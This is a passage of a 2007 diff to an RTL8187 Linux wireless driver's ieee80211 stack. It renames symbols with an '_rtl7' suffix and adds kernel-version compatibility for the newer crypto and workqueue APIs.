skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-06-08 23:30:44.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-06-08 23:30:47.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-06-08 23:30:47.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include 